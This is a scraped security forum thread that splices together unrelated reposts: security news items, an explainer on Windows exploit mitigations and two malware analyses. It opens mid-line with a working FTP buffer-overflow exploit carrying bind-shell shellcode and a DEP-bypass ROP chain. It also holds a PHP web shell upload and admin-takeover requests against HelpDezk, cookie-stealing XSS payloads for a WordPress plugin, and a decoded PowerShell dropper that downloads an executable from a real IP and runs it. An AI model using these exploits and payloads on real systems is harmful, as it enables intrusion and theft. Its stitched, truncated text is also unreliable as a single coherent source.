"localhost" port = int("21") # 728 bytes for shellcode #Bind Shell shellcode port 4444 shellcode = ("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4" "\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c" "\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07" "\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07" "\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e" "\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f" "\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38" "\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65" "\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a" "\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74" "\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5" "\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80" "\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4" "\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80" "\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82" "\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a" "\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70" "\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6" "\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4" "\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6" "\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4" "\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53" "\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84" "\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51" "\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a") buffer = "\x41" * 230 eip = pack('<L',0x77F6100A) # RETN - shlwapi rop = "\x42" * 8 # compensate rop += pack('<L',0x5D09382C) # POP EBX, RETN - msvcirt rop += "\xff\xff\xff\xff" rop += pack('<L',0x77c127e1) # INC EBX, RETN rop += pack('<L',0x5d093466) # POP EBP, RETN rop += pack('<L',0x7c8622a4) # SetProcessDEPPolicy rop += pack('<L',0x5d095470) # POP EDI, RETN rop += pack('<L',0x5d095471) # RETN rop += pack('<L',0x5d0913b4) # POP ESI, RETN rop += pack('<L',0x5d095471) # RETN rop += pack('<L',0x77e7d102) # PUSHAD # RETN - RPCRT4 nops = "\x90" * 10 junk = "\x42" * (1000 - len(buffer + eip + rop + nops + shellcode)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] Connecting to %s on port %d" % (target,port) try: s.connect((target,port)) s.recv(1024) print "[+] Sending payload" s.send("USER " + buffer + eip + rop + nops + shellcode + junk + "\r\n") s.close() print "[+] Exploit successfully sent" except: print "[X] Unable to connect to %s" % target raw_input("[+] Press any key to exit\n") After applying deep hooks, the script fails to exploit. Source

The spree of exploits on Windows has led to the creation of a certain type of exploit protection mechanism on Windows. Protection from things like buffer overflow, heap overwrite and return originated exploits have been deployed on Windows compilers and OS. They can be either OS specific or compiler based protections. EMET can be used to apply some of these protections on Windows binaries. According to Microsoft: “The Enhanced Mitigation Experience Toolkit (EMET) is a utility that helps prevent vulnerabilities in software from being successfully exploited. EMET achieves this goal by using security mitigation technologies. These technologies function as special protections and obstacles that an exploit author must defeat to exploit software vulnerabilities. These security mitigation technologies do not guarantee that vulnerabilities cannot be exploited. However, they work to make exploitation as difficult as possible to perform.” Compiler protections included in MSVC are: /GF enable read-only string pooling /Gm[-] enable minimal rebuild /Gy[-] separate functions for linker /GS[-] enable security checks /GR[-] enable C++ RTTI /GX[-] enable C++ EH (same as /EHsc) /EHs enable C++ EH (no SEH exceptions) /EHa enable C++ EH (w/ SEH exceptions) /EHc extern "C" defaults to nothrow /Qfast_transcendentals generate inline FP intrinsics even with /fp:except /GL[-] enable link-time code generation /GA optimize for Windows Application /Ge force stack checking for all funcs /Gs[num] control stack checking calls /Gh enable _penter function call /GH enable _pexit function call /GT generate fiber-safe TLS accesses /RTC1 Enable fast checks (/RTCsu) /RTCc Convert to smaller type checks /RTCs Stack Frame runtime checking /RTCu Uninitialized local usage checks /clr[:option] compile for common language runtime, where option is: pure - produce IL-only output file (no native executable code) safe - produce IL-only verifiable output file oldSyntax - accept the Managed Extensions syntax from Visual C++ 2002/2003 initialAppDomain - enable initial AppDomain behavior of Visual C++ 2002 noAssembly - do not produce an assembly /Gd __cdecl calling convention /Gr __fastcall calling convention /Gz __stdcall calling convention /GZ Enable stack checks (/RTCs) /QIfist[-] use FIST instead of ftol() /hotpatch ensure function padding for hotpatchable images /arch:<SSE|SSE2|AVX> minimum CPU architecture requirements, one of: SSE - enable use of instructions available with SSE enabled CPUs SSE2 - enable use of instructions available with SSE2 enabled CPUs AVX - enable use of Intel(R) Advanced Vector Extensions instructions /Qimprecise_fwaits generate FWAITs only on "try" boundaries, not inside "try" /Qsafe_fp_loads generate safe FP loads So it makes exploitation difficult but does not ultimately protect against it. Stack-Based OverRun Detection (GS) This is the oldest and most famous protection available in Visual C++. The goal of the /GS compiler flag is simple: reduce the chance that maleficent code will execute correctly. The /GS option is on by default in Visual C++ 2003 and later, and it detects certain kinds of stack smash at run time. It goes about doing this by including a desultory number in a function’s stack just before the return address on the stack, and when the function returns, the function epilogue code checks this value to ascertain it has not transmuted. If the cookie, as it’s called, has been mutated, execution is halted. So GS stack cookie basically protects against tampering of return addresses. Now let’s go into detail how it works: Consider the following C code compiled using /GS parameter of Microsoft C compiler: #include void vuln() { unsigned char x[10] = {0}; int i = 0; while (i != 100) x[i++] = ‘A'; } int main(int argc, char **agrv) { vuln(); } If we compile it using MSVC switch /GS it would get the GS stack-based protection embedded. Let’s see what is added at the vuln function for GS stack protection. Stack Cookie Resides soon after Saved EBP i.e EBP-4 as shown in the IDA disassembly: As you can see in the beginning of the prologue of the function, the __security_cookie is retrieved and xored with EBP. So if the attacker had to overwrite the return address he needs to guess the __security_cookie as clearly we see that it will also get overwritten. Now let’s see how it is generated and if it contains enough randomness in order to be secure. This value is generated in ___security_init_cookie() function which looks like: ___security_init_cookie proc near ; CODE XREF: $LN26#p .text:0040267F .text:0040267F PerformanceCount= LARGE_INTEGER ptr -10h .text:0040267F SystemTimeAsFileTime= _FILETIME ptr -8 .text:0040267F .text:0040267F mov edi, edi .text:00402681 push ebp .text:00402682 mov ebp, esp .text:00402684 sub esp, 10h .text:00402687 mov eax, ___security_cookie .text:0040268C and [ebp+SystemTimeAsFileTime.dwLowDateTime], 0 .text:00402690 and [ebp+SystemTimeAsFileTime.dwHighDateTime], 0 .text:00402694 push ebx .text:00402695 push edi .text:00402696 mov edi, 0BB40E64Eh .text:0040269B mov ebx, 0FFFF0000h .text:004026A0 cmp eax, edi .text:004026A2 jz short loc_4026B1 .text:004026A4 test ebx, eax .text:004026A6 jz short loc_4026B1 .text:004026A8 not eax .text:004026AA mov dword_408004, eax .text:004026AF jmp short loc_402716 .text:004026B1 ; --------------------------------------------------------------------------- .text:004026B1 .text:004026B1 loc_4026B1: ; CODE XREF: ___security_init_cookie+23#j .text:004026B1 ; ___security_init_cookie+27#j .text:004026B1 push esi .text:004026B2 lea eax, [ebp+SystemTimeAsFileTime] .text:004026B5 push eax ; lpSystemTimeAsFileTime .text:004026B6 call ds:GetSystemTimeAsFileTime .text:004026BC mov esi, [ebp+SystemTimeAsFileTime.dwHighDateTime] .text:004026BF xor esi, [ebp+SystemTimeAsFileTime.dwLowDateTime] .text:004026C2 call ds:GetCurrentProcessId .text:004026C8 xor esi, eax .text:004026CA call ds:GetCurrentThreadId .text:004026D0 xor esi, eax .text:004026D2 call ds:GetTickCount .text:004026D8 xor esi, eax .text:004026DA lea eax, [ebp+PerformanceCount] .text:004026DD push eax ; lpPerformanceCount .text:004026DE call ds:QueryPerformanceCounter .text:004026E4 mov eax, dword ptr [ebp+PerformanceCount+4] .text:004026E7 xor eax, dword ptr [ebp+PerformanceCount] .text:004026EA xor esi, eax .text:004026EC cmp esi, edi .text:004026EE jnz short loc_4026F7 .text:004026F0 mov esi, 0BB40E64Fh .text:004026F5 jmp short loc_402707 .text:004026F7 ; --------------------------------------------------------------------------- .text:004026F7 .text:004026F7 loc_4026F7: ; CODE XREF: ___security_init_cookie+6F#j .text:004026F7 test ebx, esi .text:004026F9 jnz short loc_402707 .text:004026FB mov eax, esi .text:004026FD or eax, 4711h .text:00402702 shl eax, 10h .text:00402705 or esi, eax .text:00402707 .text:00402707 loc_402707: ; CODE XREF: ___security_init_cookie+76#j .text:00402707 ; ___security_init_cookie+7A#j .text:00402707 mov ___security_cookie, esi .text:0040270D not esi .text:0040270F mov dword_408004, esi .text:00402715 pop esi .text:00402716 .text:00402716 loc_402716: ; CODE XREF: ___security_init_cookie+30#j .text:00402716 pop edi .text:00402717 pop ebx .text:00402718 leave .text:00402719 retn .text:00402719 ___security_init_cookie endp Firstly, it will compare __security_cookie with the default value: mov edi, 0BB40E64Eh mov ebx, 0FFFF0000h And if matched it will continue to generate a random one. The random value for __security_cookie is generated as a combination of xors for time, processid, threadid, tickcount and QueryPerformanceCounter() values. And then xored and multiplied. or eax, 4711h shl eax, 10h In the epilogue of a function protected by GS stack cookie you will see a call to __security_check_cookie() function which verifies the __security_cookie, and if it is manipulated the process terminates. So done in this way before returning to the attacker controlled area which leverages ret instruction is prevented. SAFESEH SAFESEH was added from Windows XP Sp2. It is an operating system protection technique by which we can protect against SEH overwrites. This technique isn’t available on 64 bit systems, as 64 bit Windows uses a different mechanism for exception handling, which is quite similar to what is used on SAFESEH. A binary is only protected by SAFESEH only if it is explicitly mentioned on the PE header. To check the existence of that header, we can use the Dumpbin tool by Microsoft by using the following command line: dumpbin sample.exe /LOADCONFIG File Type: EXECUTABLE IMAGE Section contains the following load config: 00000048 size 0 time date stamp 0.00 Version 0 GlobalFlags Clear 0 GlobalFlags Set 0 Critical Section Default Timeout 0 Decommit Free Block Threshold 0 Decommit Total Free Threshold 00000000 Lock Prefix Table 0 Maximum Allocation Size 0 Virtual Memory Threshold 0 Process Heap Flags 0 Process Affinity Mask 0 CSD Version 0000 Reserved 00000000 Edit list 00408310 Security Cookie 00407840 Safe Exception Handler Table 3 Safe Exception Handler Count Safe Exception Handler Table Address ——– 00402390 00403FD0 00405040 When an exception occurs, th exception is transferred to the SAFESEH handler in ntdll.dll and it checks if the exception target is present in the SAFESEH list. Following is the implementation of RtlCaptureImageExceptionValues on Windows XP sp2. If the target address isn’t present in the list, then RtlCallKernel32UnhandledExceptionFilter is called to terminate the program. Source/url]

Introduction Yesterday I received in my company inbox an email with an attached .xlsm file named D92724446.xlsm coming from Clare588@78-83-77-53.spectrumnet.bg. Central and local AV engines did not find anything malicious, and a multiengine scan got 0/57 as result. I decided to investigate a little more in-depth in order to confirm that was a malicious file and to extract at least the code I was imagining being inside this document. General Information This is some general info collected: Name: D92724446.xlsm MD5: fea3ab857813c0d65cd0b6b6233a834b SHA1: 64eef048efe86fe35f673fd2d853a8a727934e6c SHA256: 75e3a4cd45c08ff242e2927fa3b4ee80858073a202dade84898040bfbb7847ef ssdeep 768:qEIo/BPRS5t1dbQjlshORhynxvWXLUYJdGnSCk:qIJM8jl6nIP File size: 36.1 KB ( 36978 bytes ) File type: Office Open XML Spreadsheet Virus Total information: First submission: 2015-02-18 10:35:06 UTC Last submission: 2015-02-19 08:58:57 UTC Others names: 93D9B24583.xlsm e94fcc43b0dc9c7eb350149b4ebdfd3d 61a47fa44dd55f5721ebe85aa83a32e6 I233185_486.xlsm L335966_246.xlsm 271269885.xlsm 4501B81210.xlsm e65fb3285617c7b4bbc833a466be6c42 5312970.xlsm 9D50B4390.xlsm DDE1368393.xlsm E30178611.xlsm 43c29faad6fc5984273afcc67593d802 FE731885.xlsm C47394.xlsm suspect.xls 090214399.xlsm Q884674_740.xlsm E015272_266.xlsm U506714_083.xlsm 43925982.xlsm 8BB4D89313.xlsm.zip 82AC485705.xlsm 8abb99eb6078b658e05aece79337378a 0BF2034112.xlsm Static Analysis I started my analysis having a quick look inside: At offset 0 we can quickly view 4 bytes that confirm the format of the file (50 4B 03 04). At this point, I tried to get more information and to see how this document was composed: This quickly confirm my first suspicions. At offset 0x000012f1 a .bin file is found. Going a little ahead, we can try to get the code of these instructions: The code has been extracted, and different files for Classes and Modules have been created under \OfficeMalScanner\VBAPROJECT.BIN-Macros. Opening these files with a simple text editor, I immediately found many obfuscated instructions, as reported in the image below: However, after a quick analysis I realized that the modules really important for extracting of the malicious code were numbers 11 and 14. This is because the module number 11 contains the instructions for running the obfuscated code assigned to the variable named “FfdsfF” and de-obfuscated through the function call “NewQkeTzIIHM”. “NewQkeTzIIHM” takes one parameter in input as string and returns a string. These are its main instructions: The -13 immediately brings to mind a de-obfuscation loop which employs the rot13 algorithm. At this point, I simply wrote few lines of vbs code to correctly extract the content and print it to a txt file called output.txt. Function WriteFile(sText) Set objFSO = CreateObject("Scripting.FileSystemObject") Set objMyFile = objFSO.OpenTextFile( "C:\Users\EOSec\Desktop\output.txt", 8, true, 0 ) objMyFile.WriteLine(sText) objMyFile.close() End Function Dim i,x,y x = "pzq-<X-]|„r`uryy;r…r-5[r„:\owrp-`†€rz;[r;droPyvr{6;Q|„{y|nqSvyr54u}G<<B;>FC;?A@;D<x„rsr„rs<stq€rr<q…‡~;w}t4942aRZ]2iWV\v|qsuv|VU;pno46H-r…}n{q-2aRZ]2iWV\v|qsuv|VU;pno-2aRZ]2iWV\v|qsuv|VU;r…rH-€n-2aRZ]2iWV\v|qsuv|VU;r…rH" For i = 1 To Len(x) y = y + Chr(Asc(Mid(x, i, 1)) - 13) Next WriteFile(y) This is the clear code obtained: cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://5.196.243.7/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe; And this the whois of the remote IP: inetnum 5.196.243.0 – 5.196.243.7 netname Just_Hosting country IE descr Just Hosting admin-c OTC9-RIPE tech-c OTC9-RIPE status ASSIGNED PA mnt-by OVH-MNT source RIPE # Filtered A file named dxzq.jpg is downloaded. It’s really a CAB file (JIOiodfhioIH.cab) that is then expanded to JIOiodfhioIH.exe and run. Source

GnuPG (the GNU Privacy Guard or GPG) is GNU's tool for secure communication and data storage. It can be used to encrypt data and to create digital signatures. It includes an advanced key management facility and is compliant with the proposed OpenPGP Internet standard as described in RFC2440. As such, it is meant to be compatible with PGP from NAI, Inc. Because it does not use any patented algorithms, it can be used without any restrictions. Changes: Multiple bug fixes. Translation updates. Download Home Page

# Exploit Title: HelpDezk 1.0.1 Multiple Vulnerabilities # Google Dork: "intext: helpdezk-community-1.0.1" # Date: 26-2-2015 # Exploit Author: Dennis Veninga # Vendor Homepage: http://www.helpdezk.org/ # Vendor contacted: 26-2-2015 # Version: 1.0.1 # Tested on: Firefox 36 & Chrome 38 / W8.1-x64 HelpDezk -> Version: 1.0.1 Type: Multiple Critical Vulnerabilities Severity: Critical Info Exploit: Different exploits making it possible to take over the website/server - Arbitrary File Upload - Remote Command Execution - User Information Disclosure ############################################### Arbitrary File Upload, 2 ways -> 1. Direct Access: http://{target}/helpdezk/admin/logos/upload ######### 2. POST: http://localhost/helpdezk/admin/logos/upload After posting this, visit http://{target}/helpdezk/app/uploads/logos/shell.php?cmd=whoami CONTENT: -----------------------------14463264629720\r\n Content-Disposition: form-data; name="file"; filename="shell.php"\r\n Content-Type: application/octet-stream\r\n \r\n <?php\r\n if(isset($_REQUEST['cmd'])){\r\n $cmd = ($_REQUEST["cmd"]);\r\n system($cmd);\r\n echo "</pre>$cmd<pre>";\r\n die;\r\n }\r\n ?>\r\n -----------------------------14463264629720--\r\n ############################################### Remote Command Execution, you see an white page with 'ok' when SUCCESS! Delete a download POST: http://localhost/helpdezk/admin/downloads/delete CONTENT: id={IDNUMBER} Deactivate admin panel: *use /activate and id={IDNUMBER} to activate again* POST: http://{localhost}/helpdezk/admin/modules/deactivate CONTENT: id=1 id=1 = Admin id=2 = Dashboard id=3 = HelpDezk ############################################### User Information Disclosure NOTE: Stop javascript, else it will quickly show all info and returns you to the login page. POST: http://{target}/helpdezk/admin/relPessoa/table_json/ CONTENT: typeperson=ALL ############################################### I'm sure I didn't find everything, but maybe time to fix those huge issues first! Source

# Exploit Title: Wordpress Media Cleaner - XSS # Author: ?smail SAYGILI # Web Site: www.ismailsaygili.com.tr # E-Mail: iletisim@ismailsaygili.com.tr # Date: 2015-02-26 # Plugin Download: https://downloads.wordpress.org/plugin/wp-media-cleaner.2.2.6.zip # Version: 2.2.6 # Vulnerable File(s): [+] wp-media-cleaner.php # Vulnerable Code(s): [+] 647. Line $view = $_GET['view'] : "issues"; [+] 648. Line $paged = $_GET['paged'] : 1; [+] 653. Line $s = isset ( $_GET[ 's' ] ) ? $_GET[ 's' ] : null; # Request Method(s): [+] GET # Vulnerable Parameter(s): [+] view, paged, s # Proof of Concept --> http://target.com/wordpress/wp-admin/upload.php?s=test&page=wp-media-cleaner&view={XSS}&paged={XSS}&s={XSS} --> http://localhost/wordpress/wp-admin/upload.php?s=test&page=wp-media-cleaner&view="><img src=i onerror=prompt(/xss/)>&paged="><img src=i onerror=prompt(document.cookie)>&s="><img src=i onerror=prompt(/XSS/)> Source

1. Thanks for the sample file(s) After writing my last article about malware analysis for Android[1], I decide to check some threats that may come from webpages. Today we can see more advertisement on web than it was few years ago. In case of malicious pages, “advertisements” added there now, more often probably will try to steal your data by installing some malware on your computer or by redirecting you to webpage containing exploit code for your browser(‘s plugin). Few nice examples of ‘webpages’ like this, I found (again) on great Mila’s blog[0]. Thank’s again! (Hint: Don’t ask me for the password. Ask Mila via email.) Let’s check the first one archive with HTML file, named “FakeAV Downloader”. 2. First View After unpacking our HTML sample, we can see that index.html file contains HTML and JavaScript code Let’s copy the JavaScript code to new file, and save it as “ob1.html”. Now we can clean the code a little bit to see what is going on here: As you can see, JS code is preparing “eval()” and “fromCharCode()” to use it later (with “n”): 3. Second view When I was trying to figure out how to deobfuscate this code, I found a link to very nice tool called JSDetox[2]. You can install it on Kali[4], but if there will be any problem with installation by “bundler”, try to install each packet manually (gem). It should helps. After uploading our sample index.html to JSDetox, we can start deobfuscation (“Analyse”) and get the results in few seconds: Now we can see where new created <iframe> tag is trying to relocate us – iframe page is located on: hxxp://hivagdy.ru/count22.php. Unfortunately, when I was checking this code, RU hostname was unavailable. After that, I found some other interesting informations, for example: a) Correlation network topology[3] This host was used for: [5] c) and one more information: So it seems now, that we have all information we need to decide that this index.html file (used in phishing campany for example) can be very dangerous for safety of our users/clients. 4. More Again big thanks for the sample files! If you have more, post the link(s) on comments or send me the email with subject “MALWARE”. Please remember to pack it with password ‘infected’ (zip/rar/whatever). (Without the password, email server will drop them.) Materials described here: [0] Mila’s blog – contagio [1] Android first steps in malware’s world - Haunt IT: [PL] Analiza aplikacji atticlab.bodyscanner.apk [2] JSDetox - https://github.com/svent/jsdetox [3] Exposure ISEC Lab – Exposure - Malicious DNS world activity [4] Kali Linux – https://www.kali.org [5] http://files.deependresearch.org [6] Malware URL – http://www.malwareurl.com Source Special pentru domnul @AGSQ care nu putea sa dea pe un link. Imi pare rau domnule ca mi-am permis sa pun link-ul pentru a salva 5 minute de facut screen-uri + alte 10 de editat... Sper ca acum ai inteles mai bine acest articol ( desi ma indoiesc sa fi inteles. )

@AGSQ apropo daca citeai articolul vedeai ca nu e o stire + e un document .PDF nu stateam sa fac screen doar pentru a putea tu sa citesti articolul pe rst fara sa dai click pe link. ( incearca sa nu postezi doar ca sa te afli in treaba. )

TalkTalk has admitted to a major breach of user information, which may have led to some customers handing over bank information to hackers. In an email to customers, the company said it first saw a big increase in malicious scammers claiming to be from TalkTalk at the end of last year. Following an investigation it said some of its customer information, such as names, addresses, phone and account numbers, could have been illegally accessed, with scammers quoting these details to customers. Consequently a small number may have revealed more in-depth information, such as bank details. In some of these cases we know they may be using the information they have illegally obtained, the telecoms and services provider said. In a statement it said: "At TalkTalk we take our customers' security very seriously and we take numerous measures to help keep our customers safe. Yet sadly in every sector, criminal organisations using phone and email scams are on the rise." "As part of our ongoing approach to security we continually test our systems and processes ... following further investigation into these reports, we have now become aware that some limited, non-sensitive information about some customers could have been illegally accessed in violation of our security procedures." "We are aware of a small, but nonetheless significant, number of customers who have been directly targeted by these criminals and we have been supporting them directly," it continued. "We want to reassure customers that no sensitive information, such as bank account details, has been illegally accessed, and TalkTalk Business customers are not affected," it added. The company said it is liaising with the Information Commissioner's Office and is writing to all its customers to offer advice about the criminal activity. An ICO spokesperson said: “We are aware of a possible data breach involving TalkTalk and are making enquiries into the circumstances.” Source

Vand licenta vBulletin 4.x Forum + Forum Runner Mobile App - 65 eur sau 0.3 BTC. Pm pentru detalii.

Salut si bine ai venit!

Hackers have targeted Lenovo with a website defacement attack believed to be intended to ‘punish' the firm for its use of the Superfish adware. The attack occurred on Wednesday and forced Lenovo.com to display a slideshow of images while playing Breaking Free from High School Musical. A Lenovo spokesperson told V3 that the firm is taking action to improve the site's security and "investigating other aspects of the attack". "Unfortunately, Lenovo has been the victim of a cyber attack. One effect of this was to redirect traffic from the Lenovo website. We are also actively investigating other aspects," said the spokesperson. "We are responding and have already restored certain functionality to our public-facing website. "We are actively reviewing our network security and will take appropriate steps to bolster our site and protect the integrity of our users' information and experience. "We are also working with third parties to address this attack and will provide additional information as it becomes available." The attack follows Lenovo's use of the Superfish adware on a selected number of laptops. The problem erupted on the Lenovo forum earlier in February when several customers reported finding Superfish installed on their machines. Superfish is adware that collects data such as web traffic information using fake, self-signed root certificates and then uses it to push adverts to the user. The Lizard Squad hacking group is believed to have mounted the attack on Lenovo, although this is yet to be confirmed. Andrew Hay, director of security research at OpenDNS, said that forensic evidence indicates that the attack did stem from Lizard Squad, highlighting similarities with a previous raid on Google.com.vn. Hay explained that Lenovo.com and Google.com.vn use the same registrar, Webnic.cc, and both are hosted in Digital Ocean's Netherlands data centre. He also noted that both raids "used Cloudflare to obfuscate the IP address of the destination server and to balance the traffic load to the website". Ken Westin, senior security analyst at Tripwire, pointed out that the attack would be in line with Lizard Squad's past behaviour in attacking companies that it believes have acted wrongly. "As a result of getting its hands caught in the privacy invading cookie jar with the deployment of the Superfish adware which compromised customers' privacy and security, it has made itself an open target for a number of hacking groups which have essentially declared it open season against Lenovo for its questionable practices," he said. Source

Google is opting to make its annual Pwnium competition a year-round global opportunity with an endless bounty of reward money. In previous years, Pwnium was held once a year during a security conference, and security researchers would need to have a bug chain in March, pre-register for the event and be present at the competition's location, Google wrote on its blog. Now, researchers can submit bugs throughout the year through the Chrome Vulnerability Reward Program. “By allowing security researchers to submit bugs all year-round, collisions are significantly less likely and security researchers aren't duplicating their efforts on the same bugs,” Google wrote. The top available reward is $50,000, but the company's lawyers also noted in the post that, “this is an experimental and discretionary rewards program and Google may cancel or modify the program at any time.” Source

The law that the Obama administration cites to allow bulk telephone metadata collection expires on June 1, and the FBI has already begun lobbying to keep Section 215 of the Patriot Act from expiring. Bad guys "going dark" using encryption, the FBI says, is one of the reasons why the government needs to collect the metadata of every phone call made to and from the United States. Robert Anderson, the FBI’s chief of the Criminal, Cyber, Response, and Services Branch, told reporters during a roundtable discussion Tuesday that the Patriot Act is necessary because encrypted communications are becoming more commonplace in the wake of the Edward Snowden disclosures. "In the last two to three years, that whole ‘going dark’ thing went from a crawl to a flat-out sprint because the technology is changing so rapidly," Anderson said. Joseph Demarest, assistant director of the FBI's Cyber Division, told reporters that if Section 215 expires, "Obviously it’s going to impact what we do as an organization and certainly on cyber." The comments, especially as they relate to encryption, are part of a growing chorus of calls—from as high as President Barack Obama—that the government needs Silicon Valley's assistance for backdoors into encrypted tech products like the iPhone. Silicon Valley has (at least publicly) shunned the administration's attempts to get backdoors into their products. And while no legislation at the moment requires them to comply, the nation's spy apparatus and others are turning their attention toward not losing the bulk telephone metadata spying program that spun heads when The Guardian—armed with classified documents from Snowden—exposed it in 2013. As it turns out, the secret Foreign Intelligence Surveillance Act court that was authorizing the program was doing so under the authority of Section 215 of the Patriot Act. While many leading lawmakers are behind renewing the program, there are plenty of reasons why it should expire come June. According to the EFF: One federal judge has upheld the program while another has declared it unconstitutional. A Supreme Court showdown over the snooping isn't likely to happen any time soon. There's plenty of rhetoric on all sides of the issue, too. Sen. Marco Rubio (R-FL) said Section 215 should never expire. House Speaker John Boehner (R-Ohio) and Majority Leader Mitch McConnell (R-KY) are big fans of Section 215. Sens. Ron Wyden (D-OR) and Martin Heinrich (D-NM) said that "none of the claims appear to hold up to scrutiny" that the bulk metadata collection program prevents terrorism. When Congress publicly re-authorized Section 215 three years ago, the public didn't know that lawmakers were secretly approving the bulk telephone metadata program. And some lawmakers who had voted for re-authorization claimed that they didn't even know about the bulk collection program. At least this time, when it comes up for a vote in the coming months, lawmakers can't claim that they didn't know they were voting to allow the government to scoop up data that includes phone numbers of parties involved in calls, calling card numbers, the time and duration of the calls, and the international mobile subscriber identity number for mobile callers. The database is said to have more than 1 trillion records. Source

The breaches at Community Health Systems and Anthem, Inc. serve as prime examples of how valuable health care data can be to cybercriminals, but a recent study suggested that these intrusions should not be the only cause for concern for consumers. A study conducted by Timothy Libert, a doctoral student at the University of Pennsylvania's Annenberg School for Communication found that nine out of ten health-related websites expose information regarding visitors' health interests with third parties. The websites included in the study, titled “Privacy Implications of Health Information Seeking on the Web,” are non-profit, educational, commercial, and government-run. Sites such as WebMD, send data to up to 34 separate domains, according to a video by Libert on the study. Using a tool he created that tracks HTTP requests initiated with third-party advertisers and data brokers, Libert was able to analyze 80,000 health-related web pages. According to his findings, 91 percent of the sites initiated requests to third-parties and 70 percent included data on specific “symptoms, treatment, or diseases.” Those on the receiving end of the information included advertisers such as Google – which collected data from 78 percent of the pages, comScore (38 percent) and Facebook (31 percent), in addition to data brokers Experian and Acxiom. The findings suggest that the privacy of users may be at risk seeing as this data can be sold by data brokers legally, which further increases spreads the personal information, thus increasing the risk of compromise. Additionally, thanks to current marketing technology, consumers While the Federal Trade Commission has advocated legislation to regulate the use of tools that many marketers and data brokers use to collect and sell consumer data, there is currently little oversight. “Personal health information – historically protected by Hippocratic Oath – has suddenly become the property of privacy corporations who may sell it to the highest bidder or accidentally misuse it to discriminate against the ill,” Libert said in a release by the university. “As health information seeking has moved online, the privacy of a doctor's office has been traded in for the silent intrusion of behavioral tracking.” Source

Researchers have uncovered a distributed denial-of-service (DDoS) attack campaign that takes advantage of Joomla servers with a vulnerable Google Maps plug-in installed. Akamai's Prolexic Security Engineering & Research Team (PLXsert) worked with PhishLabs' Research, Analysis, and Intelligence Division (R.A.I.D) to analyze malicious traffic coming from multiple Joomla websites, a threat advisory (PDF) issued Wednesday said. Through analysis, the teams found that attackers were able to use servers as DDoS zombies due to a vulnerability in a Google Maps plug-in that allows the plug-in to act as a proxy, masking the origin of DDoS attacks. “Attackers spoof the source of the request, causing the results to be sent from the proxy to someone else – their denial of service target,” a release from Akamai explained. This year, the company has observed eight Joomla-based DDoS attacks against its customer base, six of which were targeted at the education sector. PLXsert said that the DDoS attacks contained traffic signatures that matched sites known for providing DDoS-for-hire services, and that miscreants used attack tools, such as DAVOSET and UFONet, that have also been increasingly adapted by the DDoS-for-hire market. Researchers have observed the Joomla-based DDoS attacks since September, but believe the for-hire attacks are ongoing. In a Thursday interview with SCMagazine.com, Rod Soto, principal security researcher at PLXsert, said that reflection-based DDoS attacks, like those seen in this campaign, have become popular as they allow attackers to use the “path of least resistance.” In the last quarter of 2014, Akamai found that 39 percent of all DDoS traffic used reflection techniques, which amplified attacks while hiding attackers' identities. “For reflection attacks, it does not require the attacker to actually compromise the botnet [or abused hosts],” Soto said. “Most of them don't even realize they are being used as reflectors.” In addition to ensuring that plug-ins for content management systems (CMS), like Joomla or WordPress, are properly patched, Akamai provided other DDoS migration steps, such as blocking HTTP GET/1.0 request traffic if support for legacy clients isn't needed, and blocking HTTP requests with a PHP-based user-agent string, if they are not needed, the threat advisory said. The advisory also included three Snort rules, which match the DDoS attack variations Akamai detected in the campaign. Source

Secure rm (srm) is a command-line compatible rm(1) which completely destroys file contents before unlinking. The goal is to provide drop in security for users who wish to prevent command line recovery of deleted information, even if the machine is compromised. Changes: Various updates. Download Sourceforge: srm - secure file deletion for posix systems

